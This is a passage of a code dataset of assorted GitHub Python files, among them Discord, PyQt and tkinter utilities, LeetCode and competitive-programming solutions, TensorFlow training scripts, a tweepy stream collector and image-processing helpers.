on_created(self, event):\n        print(event.event_type, event.src_path)\n        assert not event.is_directory\n        copy(Path(event.src_path))\n\n    def on_modified(self, event):\n        print(event.event_type, event.src_path)\n        assert not event.is_directory\n        copy(Path(event.src_path))\n\n    def on_deleted(self, event):\n        print(event.event_type, event.src_path)\n        assert not event.is_directory\n        delete(Path(event.src_path))\n\n    def on_moved(self, event):\n        print(event.event_type, event.src_path, event.dest_path)\n        assert not event.is_directory\n        rename(Path(event.src_path), Path(event.dest_path))\n\nif __name__ == \"__main__\":\n    for f in src.iterdir():\n        copy(f)\n\n    event_handler = EventHandler()\n    observer = Observer()\n    observer.schedule(event_handler, str(src), recursive=True)\n    observer.start()\n    try:\n        while True:\n            time.sleep(1)\n    except KeyboardInterrupt:\n        observer.stop()\n        shutil.rmtree(firefox)\n        shutil.rmtree(chrome)\n    observer.join()","repo_name":"Nearly-On-Red/the-nor-report","sub_path":"develop.py","file_name":"develop.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"44725678147","text":"import numpy\nimport Image\n\ndef PIL2array(img):\n    return numpy.array(img.getdata(),\n                    numpy.uint8).reshape(img.size[1], img.size[0], 3)\n\ndef array2PIL(arr, size):\n    mode = 'RGBA'\n    arr = arr.reshape(arr.shape[0]*arr.shape[1], arr.shape[2])\n    if len(arr[0]) == 3:\n        arr = numpy.c_[arr, 255*numpy.ones((len(arr),1), numpy.uint8)]\n    return Image.frombuffer(mode, size, arr.tostring(), 'raw', mode, 0, 1)\n\ndef main():\n    img = loadImage('coding2.jpg')\n    arr = PIL2array(img)\n    img2 = array2PIL(arr, img.size)\n    img2.save('out.jpg')\n\nif __name__ == '__main__':\n    main()\n","repo_name":"ottacom/RainbowZipping","sub_path":"Rainbow2/conv.py","file_name":"conv.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"11125418162","text":"from discord.ext import commands\n\n\nclass MaintenanceCog(commands.Cog):\n\n    def __init__(self, bot: commands.Bot):\n        self.bot = bot\n\n    async def cog_check(self, ctx: commands.Context) -> bool:\n        return await self.bot.is_owner(ctx.author)\n\n    def __log(self, msg: str):\n        print(f\"[{self.qualified_name}] {msg}\")\n\n    @commands.command(name=\"extension\", aliases=[\"cog\"])\n    async def manage_extensions(self, ctx: commands.Context, *args):\n        \"\"\"\n        Load, unload or reload an extension. Currently supports only cogs, which names must end with _cog.\n        :return:\n        \"\"\"\n        try:\n            operation = args[0]\n            extension_namespace = args[1]\n            if not extension_namespace.endswith(\"_cog\"):\n                extension_namespace += \"_cog\"\n        except IndexError:\n            await ctx.send(\"Please provide the arguments in order: `!extension [operation] [cog_namespace]`.\")\n            return\n\n        if operation == \"load\":\n            method = self.bot.load_extension\n        elif operation == \"unload\":\n            method = self.bot.unload_extension\n        elif operation == \"reload\":\n            method = self.bot.reload_extension\n        else:\n            await ctx.send(f\"Invalid extension operation: `{operation}`. Supported operations are `load`, `unload` \"\n                           f\"and `reload`.\")\n            return\n\n        if extension_namespace == \"cogs.discord_cog\":\n            await self.serialize_cog(ctx, \"DiscordCog\")\n        try:\n            method(extension_namespace)\n            await ctx.send(f\"Successfully {operation}ed extension `{extension_namespace}`.\")\n        except commands.ExtensionAlreadyLoaded:\n            await ctx.send(f\"Extension `{extension_namespace}` is already loaded. Please ensure the full \"\n                           f\"extension namespace was given.\")\n        except commands.ExtensionNotFound:\n            await ctx.send(f\"Extension `{extension_namespace}` could not be found. Please ensure the full \"\n                           f\"extension namespace was given.\")\n        except commands.ExtensionNotLoaded:\n            await ctx.send(f\"Extension `{extension_namespace}` is not loaded. Please ensure the full \"\n                           f\"extension namespace was given.\")\n\n    @commands.command(name=\"serialize\")\n    async def serialize_cog(self, ctx: commands.Context, cog_name: str):\n        \"\"\"\n        Serialize cog contents into a file. The cog must have a public serialize() method without positional arguments.\n        :param ctx: Discord context\n        :param cog_name: Cog class name. This is used to get it from loaded cogs.\n        \"\"\"\n        cog = self.bot.get_cog(cog_name)\n        if cog is None:\n            await ctx.send(f\"Cog with name `{cog_name}` is not loaded. Cog names are case sensitive.\")\n            return\n\n        try:\n            cog.serialize()\n        except AttributeError:\n            await ctx.send(f\"Cog `{cog_name}` does not have method `serialize()` or it requires positional arguments.\")\n            return\n\n        self.__log(f\"Cog {cog_name} serialized.\")\n        if ctx.invoked_with == \"serialize\":\n            await ctx.send(f\"Cog `{cog_name}` serialized.\")\n\n    @commands.command(name=\"extensions\")\n    async def get_loaded_extensions(self, ctx: commands.Context):\n        \"\"\"\n        Get currently loaded bot extensions.\n        \"\"\"\n        loaded_extensions = [f\"`{name}`\" for name in self.bot.extensions]\n        await ctx.send(\"Currently loaded extensions:\\n\" + \"\\n\".join(loaded_extensions))\n\n    @commands.command(name=\"cogs\")\n    async def get_loaded_cogs(self, ctx: commands.Context):\n        \"\"\"\n        Get currently loaded cogs.\n        \"\"\"\n        loaded_cogs = [f\"`{name}`\" for name in self.bot.cogs]\n        await ctx.send(\"Currently loaded cogs:\\n\" + \"\\n\".join(loaded_cogs))\n\n    @commands.command(name=\"id\")\n    async def get_item_id(self, ctx: commands.Context, *, item_name: str):\n        raise NotImplementedError\n\n    @commands.command(name=\"check\")\n    async def check_new_items(self, ctx: commands.Context):\n        # TODO: Caching???\n        raise NotImplementedError\n\n    @commands.command(name=\"get\")\n    async def get_file(self, ctx: commands.Context, filename: str):\n        raise NotImplementedError\n\n    @commands.command(\"managedrinks\")\n    async def manage_drinks(self, ctx: commands.Context):\n        raise NotImplementedError\n\n    @commands.command(\"clear\")\n    async def clear_cache(self, ctx: commands.Context, cache_name: str):\n        raise NotImplementedError\n\n    @commands.command(\"devcommands\")\n    async def get_maintenance_commands(self, ctx: commands.Context):\n        raise NotImplementedError\n\n\ndef setup(bot: commands.Bot):\n    bot.add_cog(MaintenanceCog(bot))\n","repo_name":"Visperi/OsrsHelper-lite","sub_path":"cogs/maintenance_cog.py","file_name":"maintenance_cog.py","file_ext":"py","file_size_in_byte":4769,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"71396359416","text":"from PyQt6.QtWidgets import QDialog, QLabel\n\n\nclass AuthErrorDialog(QDialog):\n    def __init__(self, error_text):\n        super().__init__()\n\n        self.ok_pressed = False\n\n        self.setWindowTitle(\"Auth error!\")\n        self.setFixedSize(200, 50)\n\n        self.label = QLabel(error_text, self)\n        self.label.move(20, 20)\n        self.label.setFixedSize(150, 10)\n\n        self.show()\n","repo_name":"juliyamakutu/gb_async_messenger","sub_path":"src/client_gui/error_dialog.py","file_name":"error_dialog.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"fa","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"35261547986","text":"# -*- coding: utf-8 -*-\n\nclass Solution(object):\n\n    def maxTwoEvents(self, events):\n\n        answer = 0 \n        # end_time 기준으로 정렬\n        events.sort(key = lambda x:x[1]) \n        # events의 길이 만큼 반복연산자로 배열 할당\n        maxleft = [0] * len(events)\n        # end_time의 max 값 초기화 \n        maxleft[0] = events[0][2] \n            \n        # 초기화에 사용한 값 제외하고 for문 돌면서 value의 최대값을 maxleft에 저장 \n        for i in range(1, len(events)): \n            maxleft[i] = max(maxleft[i-1], events[i][2])  \n\n        # events 값을 binary search 수행하며\n        # overlap 되지 않는 end_time 값들 중 maxleft과의 최대값을 구해줌 \n        for i in range(len(events)): \n            left, right = 0, len(events) - 1\n            while left < right: \n                mid = left + (right-left) // 2 + 1 \n                if events[mid][1] < events[i][0]: \n                    left = mid\n                else: \n                    right = mid-1 \n            # end_time 값 \n            end_t = events[i][2] \n\n            # overlap 되지 않는 범위에 도착했을 때 left 값과 end 값을 더해줌 \n            if events[right][1] < events[i][0]: \n                end_t += maxleft[right] \n            \n            # max 값 저장 \n            answer = max(answer, end_t) \n                \n        return answer\n\nif __name__ == '__main__':\n\n    # startTime, endTime, value\n    #events = [[1,3,2],[4,5,2],[2,4,3]]\n    #events = [[1,3,2],[4,5,2],[1,5,5]]\n    #events = [[1,5,3],[1,5,1],[6,6,5]]\n    #events = [[10,83,53],[63,87,45],[97,100,32],[51,61,16]]\n    events = [[66,97,90],[98,98,68],[38,49,63],[91,100,42],[92,100,22],[1,77,50],[64,72,97]]\n    result = Solution().maxTwoEvents(events)\n\n    print(\"answer\", result)","repo_name":"eehoeskrap/algorithm-study","sub_path":"leetcode/Medium/2054_two_best_non_overlapping_events.py","file_name":"2054_two_best_non_overlapping_events.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"39466811533","text":"from tweepy import Stream\nfrom tweepy import OAuthHandler\nfrom tweepy.streaming import StreamListener\nimport time\n\nckey = 'xxx'\ncsecret = 'xxx'\natoken = 'xxx'\nasecret = 'xxx'\n\nclass listener(StreamListener):\n\n    def on_data(self, data):\n        try: #using try to get an if there is a problem otherwise the code keeps running\n            print (data)\n            #to filter out just the text of the tweets\n            # tweet = data.split(',\"text\":\"')[1].split('\",\"source')[0] #[1]give me the right side of the split i.e. beginnig.[0] is the left side\n            # print(tweet)\n            # onlytweets = ':::'+tweet\n            # saveFile = open('twitFA2.csv', 'a')\n            # saveFile.write(onlytweets)\n            # saveFile.write('\\n')\n            # # for tweets in saveFile:\n            # #     tweets.decode('utf-8')\n            # saveFile.close()\n            # return True\n\n            saveFile = open('abcd.csv', 'a') #makes a csv file that appends all tweets to that file\n            saveFile.write(data) #writes the collected data on the file\n            saveFile.write('\\n') #write each file in a new line\n            # for eachline in saveFile:\n            #     eachline.decode('unicode-escape')\n            saveFile.close() #closes the file after writing on it\n            return True\n        except BaseException as e: #throwing an error in case of any problems e.g. internet stops working\n            print ('failed on data', str(e))\n            time.sleep(5)\n\n\n    def on_error(self, status):\n        print (status)\n\nauth = OAuthHandler(ckey, csecret)\nauth.set_access_token(atoken, asecret)\ntwitterStream = Stream(auth, listener())\ntwitterStream.filter(track = ['ا','آ','ب','پ','ث','ج','چ','ح','خ','د','ذ','ر','ز','ژ','س','ش','ص','ض','ط','ظ','ع','غ','ف',\n                              'ق','ک','گ','ل','م','ن','و','ه','ی','أ','إ','ي','ئ','ؤ','ك'], languages=[\"fa\"], encoding='utf8' )\n                                #spitting out all tweets with Persian characters in them\n\n","repo_name":"alisalehi67/Persian-Colloquial-Speech-Corpus","sub_path":"Streamer.py","file_name":"Streamer.py","file_ext":"py","file_size_in_byte":2033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"35293507870","text":"n,m = map(int,input().split(\" \"))\ns = input()\nfriends_scissors = s.count(\"C\")\nfriends_paper = s.count(\"P\")\nfriends_rock = s.count(\"G\")\ntens = m // 10\nif (m - tens*10) % 2 == 1:\n    fives = (m - tens*10) // 5\n    twos = (m - tens*10 - fives*5) // 2\nelse:\n    twos = (m - tens*10 - fives*5) // 2\nmax_count = 0\nfor i in range(tens + 1):\n    scissors = 5 * i + twos\n    paper = 2 * (tens - i) + fives\n    rock = n - scissors - paper\n    if rock < 0:\n        continue\n    win_count = n - (abs(friends_scissors - rock) + abs(friends_paper - scissors) + abs(friends_rock - paper))//2\n    if max_count < win_count:\n        max_count = win_count\n    print(rock*0+scissors*2+paper*5)\n    print(tens,fives,twos)\n","repo_name":"Half-1998/github_tutorial","sub_path":"git_tutorial/atcoder.py","file_name":"atcoder.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"40136306721","text":"import sys\nfrom os import path\nimport ConfigParser\nfrom argparse import Namespace\n\n_config = None\n_basedir = path.dirname(path.abspath(__file__))\n_default_name = 'default.cfg'\n_sys_name = sys.platform + '.cfg'\n_user_file_name = path.expanduser('~/.antismash.cfg')\n_instance_file_name = 'instance.cfg'\n\ndef load_config(namespace):\n    \"\"\"Load config from a default and system-specific config file and\n    add it to a namespace object, but don't overwrite existing settings\n    \"\"\"\n    default_file = path.join(_basedir, _default_name)\n    sys_file = path.join(_basedir, _sys_name)\n    instance_file = path.join(_basedir, _instance_file_name)\n\n    # load generic configuration settins\n    config = ConfigParser.ConfigParser()\n    with open(default_file, 'r') as fp:\n        config.readfp(fp)\n\n    # load system-specific config file if available\n    # also load .antismash.cfg from the user's home dir\n    # and last, overriding all the other settings, instance.cfg\n    config.read([sys_file, _user_file_name, instance_file])\n\n    for s in config.sections():\n        if s not in namespace:\n            namespace.__dict__[s] = Namespace()\n        for key, value in config.items(s):\n            key = key.replace('-', '_')\n            if key not in namespace.__dict__[s]:\n                namespace.__dict__[s].__dict__[key] = value\n\n    # settings from the [DEFAULT] section go to the global namespace\n    for key, value in config.items('DEFAULT'):\n        key = key.replace('-', '_')\n        if key not in namespace:\n            namespace.__dict__[key] = value\n\ndef set_config(namespace):\n    \"\"\"Set a namespace object to be the global configuration\"\"\"\n    global _config\n    _config = namespace\n\ndef get_config():\n    \"\"\"Get the global configuration\"\"\"\n    return _config\n","repo_name":"plantismash/plantismash","sub_path":"antismash/config/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"22"}
+{"seq_id":"8884268873","text":"#%%\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\n\nimport os\nimport tensorflow as tf\nfrom tensorflow.keras.losses import SparseCategoricalCrossentropy\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\n\n\n \ndef data_preprocessing(df):\n    # This is to remove the instance of mistake in the data, a category with only count of 1\n    # kind of useless now because there is no item with a category of count 1\n    filtered_df = df\n    unique = filtered_df[\"Category\"].value_counts()\n    unique_ilist = unique[unique == 1].index.tolist()\n    filtered_df.drop(filtered_df[filtered_df['Category'].isin(unique_ilist)].index, axis=0, inplace=True)\n    return filtered_df\n#%%\n \ndef main():\n    #%%\n    df = pd.read_csv('reduced_version_data_ENEL_645.csv')\n    filtered_df = data_preprocessing(df)\n    X = filtered_df.drop([\"Category\"], axis=1)\n    y = filtered_df[\"Category\"]\n\n    X_train, X_test, y_train, y_test = train_test_split(X,y,stratify=y,test_size=0.3,random_state=42)\n\n    X_train = pd.get_dummies(X_train, dtype=int)\n    X_test = pd.get_dummies(X_test, dtype=int)\n\n    ## Scaling continuous features so it could learn faster\n    scaler = StandardScaler()\n\n    col_to_scale = ['Crime Count','Resident Count','Year']\n    X_train[col_to_scale] = scaler.fit_transform(X_train[col_to_scale])\n\n    X_test[col_to_scale] = scaler.fit_transform(X_test[col_to_scale])\n\n    #%%\n    ## Features to remove\n    train_cols = X_train.columns\n    test_cols = X_test.columns\n    col_rm = list(set(train_cols).difference(test_cols))\n    X_train.drop(col_rm,axis=1,inplace=True)\n\n    col_add = list(set(test_cols).difference(train_cols))\n    index = test_cols.get_loc(col_add[0])\n    X_train.insert(index,col_add[0],0)\n    #%%\n\n    mapping = {typ:index for index,typ in enumerate(y_train.unique())}\n    \n    func = lambda x : mapping.get(x)\n    y_train = y_train.apply(func)\n    y_test = y_test.apply(func)\n\n    ## Creating the neural network\n    model = tf.keras.Sequential([\n        tf.keras.layers.Dense(128, activation='relu'),\n        tf.keras.layers.Dense(64, activation='relu'),\n        tf.keras.layers.Dense(32, activation='relu'),\n        tf.keras.layers.Dense(10, activation='linear'),\n    ])\n    \n    checkpoint_path = os.path.join(\"training\",\"cp.ckpt\")\n\n    # Create a callback that saves the model's weights\n    cp_callback = tf.keras.callbacks.ModelCheckpoint(filepath=checkpoint_path,\n                                                    save_weights_only=True,\n                                                    verbose=0)\n    model.compile(loss=SparseCategoricalCrossentropy(from_logits=True),\n                  optimizer=tf.keras.optimizers.Adam(0.0005),\n                  metrics=[tf.keras.metrics.SparseCategoricalAccuracy()])\n    \n    if os.path.exists(checkpoint_path): \n        model.load_weights(checkpoint_path)\n\n    model.load_weights(checkpoint_path)\n    model.fit(X_train, y_train, epochs=200,\n              callbacks=[cp_callback])  # Pass callback to training)\n    \n    lin_prediction = model.predict(X_test)\n    f_x = tf.nn.softmax(lin_prediction)\n    pred = np.argmax(f_x, axis=1)\n    accuracy = np.mean(pred == y_test)\n    \n    print(f\"Accuracy is {accuracy}\")\n    \n    \n    #%%\n    return 0\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Mohamad-Hussein/nn-calgary-data","sub_path":"assignment3.py","file_name":"assignment3.py","file_ext":"py","file_size_in_byte":3391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"31686406177","text":"# Idea is to use heap to get nth smallest element\n\nfrom heapq import heappop, heapify\n\narr = [7, 10, 4, 3, 20, 15]\nk, n = 3, 6\n\nheapify(arr)\ncnt = 1\n\nfor i in range(k):\n    \n    if cnt==k:\n        print(heappop(arr))\n\n    else:\n        heappop(arr)\n\n    cnt+=1","repo_name":"pawangeek/Python-codes","sub_path":"Array/Nth_smallest.py","file_name":"Nth_smallest.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25500621971","text":"### インポート\nimport tkinter\nimport tkinter.filedialog\n \n### 定数\nWIDTH  = 1000        # 幅\nHEIGHT = 700        # 高さ\n \n### 関数\ndef func():\n \n    ### グローバル変数\n    global image\n \n    ### ファイルダイアログ\n    name = tkinter.filedialog.askopenfilename(title=\"ファイル選択\", initialdir=\"C:/\", filetypes=[(\"Image File\",\"*.png\")])\n \n    ### 画像ロード\n    image = tkinter.PhotoImage(file=name)\n \n    ### キャンバスに表示\n    canvas.create_image(WIDTH/2, HEIGHT/2, image=image)\n \n### メイン画面作成\nmain = tkinter.Tk()\n \n### 画面サイズ設定\nmain.geometry(\"1000x700\")\n \n### ボタン作成・配置\nbutton = tkinter.Button(main, text=\"ファイル選択\", command=func)\nbutton.pack()\n \n### キャンバス作成・配置\ncanvas = tkinter.Canvas(main, width=WIDTH, height=HEIGHT)\ncanvas.pack()\n \n### イベントループ\nmain.mainloop()","repo_name":"kindley0701/find_circle","sub_path":"others/show_picture.py","file_name":"show_picture.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"48113661","text":"__author__ = 'sunary'\n\n\n# http://codeforces.com/contest/803\n\n\ndef fill_matrix(n, k):\n    m = [[0]*n for _ in range(n)]\n    for i in range(n):\n        m[i][i] = 1\n        k -= 1\n        if k == 0:\n            return m\n        for j in range(i + 1, n):\n            if k >= 2:\n                m[i][j] = m[j][i] = 1\n                k -= 2\n            if k == 0:\n                return m","repo_name":"sunary/data-science","sub_path":"codeforce/cf_803.py","file_name":"cf_803.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"29955399154","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Apr 14 22:39:26 2022\r\n\r\n@author: GraceYu\r\n\"\"\"\r\n\r\nimport os\r\nfrom shapely.geometry import Polygon\r\nimport xlsxwriter\r\nimport math\r\n\r\ndef cast_string_to_float(box):\r\n    box[0] = float(box[0])\r\n    box[1] = float(box[1])\r\n    box[2] = float(box[2])\r\n    box[3] = float(box[3])\r\n    return box\r\n\r\n\r\ndef convert_coordinate(bbox, image):\r\n    # Given COCO coordinate, return polygon coordinates in shapely\r\n    x1 = int(bbox[0]*image[0])\r\n    y1 = int(bbox[1]*image[1])\r\n    w = int(bbox[2]*image[2])\r\n    h = int(bbox[3]*image[3])\r\n    # print ([(x1-0.5*w, y1-0.5*h), (x1-0.5*w, y1+0.5*h), (x1+0.5*h, y1+0.5*h), (x1+0.5*w, y1-0.5*h)])\r\n    return [(x1-0.5*w, y1-0.5*h), (x1-0.5*w, y1+0.5*h), (x1+0.5*h, y1+0.5*h), (x1+0.5*w, y1-0.5*h)]\r\n\r\ndef calculate_IoU(prediction, ground_truth, image_size):\r\n    print(sum(prediction), sum(ground_truth))\r\n    if (sum(prediction) == 0 and sum(ground_truth) == 0):\r\n        return math.nan\r\n    \r\n    # return the percentage of intersection\r\n    a1 = convert_coordinate(prediction, image_size)\r\n    a2 = convert_coordinate(ground_truth, image_size)\r\n    inference_polygon = Polygon(a1)\r\n    true_polygon = Polygon(a2)\r\n    if inference_polygon.overlaps(true_polygon):\r\n        # print('overlap')\r\n        return (inference_polygon.intersection(true_polygon).area/true_polygon.area)*100\r\n    else:\r\n        return 0\r\n\r\n\r\n             \r\ntrue_files = os.listdir(\"ground_truth/\")   # imagine you're one directory above\r\npredict_files = os.listdir(\"prediction/\")\r\ntrue_coor = [0, 0, 0, 0]\r\nimage_size = [0, 0, 0, 0]\r\ncategory = -1\r\ncomparison = []\r\nscore = [0, 0, 0]\r\nboxes = [[0,0,0,0],[0,0,0,0],[0,0,0,0]]\r\n# example: [[[score0, prediction0, annotation0, image_size, IoU0], [score, prediction, annotation, IoU]],\r\n# [[score0, prediction0, annotation0, IoU0], [score, prediction, annotation, IoU]], image_address]\r\n\r\nfor image in true_files:\r\n    each = []\r\n    true_coor = [0, 0, 0, 0]\r\n    for i in range(3):\r\n        each.append([0,  [0, 0, 0, 0],  [0, 0, 0, 0],  [0, 0, 0, 0], 0])\r\n\r\n\r\n    for prediction in predict_files:\r\n        if image == prediction:\r\n            address1 = os.path.join(\"ground_truth/\", image)\r\n            file1 = open(address1,\"r\")\r\n            while True:\r\n                result = file1.readline()\r\n                if len(result) == 0:\r\n                    break\r\n                \r\n                category, true_coor[0], true_coor[1], true_coor[2],true_coor[3] = result.split();\r\n                category = int(category)\r\n                true_coor = cast_string_to_float(true_coor)\r\n            \r\n                each[category][2] = true_coor.copy()\r\n            file1.close()\r\n            \r\n            \r\n            address2 = os.path.join(\"prediction/\", prediction)\r\n            file2 = open(address2,\"r\")\r\n            while True:\r\n                result = file2.readline()\r\n                if len(result) == 0:\r\n                    break\r\n                category, true_coor[0], true_coor[1], true_coor[2],true_coor[3], score, image_size[0], image_size[1], image_size[2],image_size[3] = result.split();\r\n                category = int(category)\r\n                true_coor = cast_string_to_float(true_coor)\r\n                image_size = cast_string_to_float(image_size)\r\n                each[category][1] = true_coor.copy()\r\n                each[category][0] = score\r\n                each[category][3] = image_size.copy()\r\n                # print(each[category][1], each[category][2], each[category][3])\r\n                # print()\r\n                # print(each[category][-1])\r\n            file2.close()\r\n\r\n    comparison.append(each)\r\n    \r\n        \r\n    # calculate IoU\r\n    for each in comparison:\r\n        for category in range(3):\r\n                each[category][4]=(calculate_IoU(each[category][1], each[category][2], each[category][3]))\r\n               \r\n    \r\n    workbook = xlsxwriter.Workbook('score.xlsx')\r\n    workbook2 = xlsxwriter.Workbook('IoU.xlsx')\r\n     \r\n    # The workbook object is then used to add new\r\n    # worksheet via the add_worksheet() method.\r\n\r\n    worksheet1 = workbook.add_worksheet()\r\n    worksheet1.write(0, 0, 'Femur')\r\n    worksheet1.write(0, 1, 'Patella')\r\n    worksheet1.write(0, 2, 'QT')\r\n\r\n    worksheet2 = workbook2.add_worksheet()\r\n    worksheet2.write(0, 0, 'Femur')\r\n    worksheet2.write(0, 1, 'Patella')\r\n    worksheet2.write(0, 2, 'QT')\r\n\r\n    row = 1\r\n\r\n    for image in comparison:\r\n        for i in range(3):\r\n            worksheet1.write(row, i, image[i][0])\r\n\r\n            if math.isnan(image[i][-1]):\r\n                worksheet2.write(row, i, \"NaN\")\r\n            else:\r\n                worksheet2.write(row, i, image[i][-1])\r\n\r\n\r\n\r\n        row += 1\r\n\r\n \r\nworkbook.close()\r\nworkbook2.close()\r\n","repo_name":"MIDATA-UofT/Landmarking-With-Reduced-Sample-Size-GraceYu","sub_path":"yolo/yolo_comparison.py","file_name":"yolo_comparison.py","file_ext":"py","file_size_in_byte":4753,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"34552474745","text":"from project.formula_teams.formula_team import FormulaTeam\n\nclass MercedesTeam(FormulaTeam):\n\n    def calculate_revenue_after_race(self, race_pos: int):\n        sponsors = {\"Petronas\": {1:1_000_000, 3:500_000},\"TeamViewer\":{5:100_000,7:50_000}}\n        expenses = 200_000\n        revenue = self.sponsor_funds(race_pos, sponsors.get(\"Petronas\").items())\n        revenue += self.sponsor_funds(race_pos, sponsors.get(\"TeamViewer\").items())\n        revenue -= expenses\n        self.budget += revenue\n        return f\"The revenue after the race is { revenue }$. Current budget { self.budget }$\"","repo_name":"b-angelov/SoftUni-exercises","sub_path":"Python_OOP/polymorphissm_and_abstraction/formula_1_manager/06. Formula 1 Manager_Skeleton/project/formula_teams/mercedes_team.py","file_name":"mercedes_team.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17154243384","text":"import tensorflow as tf\nimport numpy as np\nimport Brain\n\n\ndef ask(s):\n    i = None\n    while i not in ['y', 'n']:\n        if i is not None:\n            print(\"please, use y/n\")\n        i = input(s).lower()\n    return i\n\n\ndef train_DL():\n    DL = Brain.Deep_Learning()\n    DL.load_data()\n    DL.setup_model()\n\n    print(\"loss b.t.: {}\".format(DL.model.evaluate(DL.in__data, DL.out_data)))\n\n    while ask('train? [y/n] ') == 'y':\n        DL.train(50, 50, verbose_=0)\n        print(\"loss a.t.: {}\".format(DL.model.evaluate(DL.in__data, DL.out_data)))\n\n    if ask('save? [y/n] ') == 'y':\n        DL.export()\n        print('saved !')\n\n\ndef train_NN():\n    NN = Brain.Neural_Network()\n    NN.load_data()\n    NN.setup_model()\n\n    print(\"initial loss: {}\".format(NN.model.evaluate(NN.in__data, NN.out_data)))\n\n    while ask('train? [y/n] ') == 'y':\n        NN.train(500, 2000, verbose_=0)\n        print(\"loss after training: {}\".format(\n            NN.model.evaluate(NN.in__data, NN.out_data)))\n\n    if ask('save? [y/n] ') == 'y':\n        NN.export()\n        print('saved !')\n\n\nif __name__ == \"__main__\":\n    train_DL()\n","repo_name":"maxime915/lang_pong_py","sub_path":"training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70922721017","text":"inventory = {\n    'gold' : 500,\n    'pouch' : ['flint', 'twine', 'gemstone'],\n    'backpack' : ['xylophone', 'dagger', 'bedroll', 'bread loaf']\n}\n\ninventory['pocket'] = ['seasheel', 'strange berry', 'lint']\n\nfor k, v in inventory.items():\n    print (k, v)\n\nbackpack = inventory['backpack']\nbackpack.remove('dagger')\nprint(backpack)\n\ninventory['gold'] += 50\nprint(inventory['gold'])\n","repo_name":"thminh179/TruongHoangMinh-Fundamental-C4E18","sub_path":"Session 5/Homework/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70103393015","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jun  5 13:53:59 2021\r\n\r\n@author: Mohammed\r\n\"\"\"\r\n\r\n\r\n#from bokeh.plotting import figure, show, output_file\r\n\r\n\r\nimport rasterio\r\nfrom matplotlib import pyplot\r\nfrom rasterio.plot import show\r\n\r\n\r\nsrc = rasterio.open(\"C:/Users/Mohammed/Desktop/S2B_MSIL1C_20200922T142739_N0209_R053_T21NTE_20200922T162102.SAFE/GRANULE/L1C_T21NTE_A018526_20200922T142733/IMG_DATA/T21NTE_20200922T142739_B08.jp2\")\r\npyplot.imshow(src.read(1), cmap='pink')\r\n#matplotlib.image.AxesImage object at 0x...===\r\npyplot.show()\r\n\r\n#Contour===============\r\nfig, ax = pyplot.subplots(1, figsize=(12, 12))\r\nshow((src, 1), cmap='Greys_r', interpolation='none', ax=ax)\r\n#<matplotlib.axes._subplots.AxesSubplot object at 0x...\r\nshow((src, 1), contour=True, ax=ax)\r\n#matplotlib.axes._subplots.AxesSubplot object at 0x...>\r\npyplot.show()","repo_name":"Ali-bader/Visualizing-and-Analyzing-the-Valuable-Services-of-North-Rupununi-Wetlands","sub_path":"FIGURES/Rasterio Plotting.py","file_name":"Rasterio Plotting.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2392591405","text":"#%%\nimport pandas as pd\nfrom StringUtil import StringUtil\nfrom MatchExtractor import MatchExtractor\nimport warnings\n\npd.set_option('display.max_colwidth', None)\n# warnings.filterwarnings('ignore')\n\nreplacements_woodruff = {\n    r'\\[\\[(.*?)\\|(.*?)\\]\\]' : r'\\1',\n}\n\n#%%\npath_root = '../data/matches/all_books_10_words/'\npath_data_woodruff_raw   = '../data/raw/data_woodruff_raw.csv'\npath_data_woodruff_raw   = '../data/raw/derived_data.csv'\n# path_data_woodruff_clean = path_root + 'data_woodruff_clean.csv'\npath_data_scriptures     = '../data/raw/data_scriptures.csv'\npath_matches = '../data/matches/data_matches2.csv'\n\n# url paths\nurl_woodruff = \"https://github.com/wilfordwoodruff/Main-Data/raw/main/data/derived/derived_data.csv\"\nurl_scriptures = 'https://github.com/wilfordwoodruff/wilford_woodruff_hack23/raw/main/data/lds-scriptures.csv'\n\n# load data\ndata_scriptures = pd.read_csv(path_data_scriptures)\ndata_woodruff = 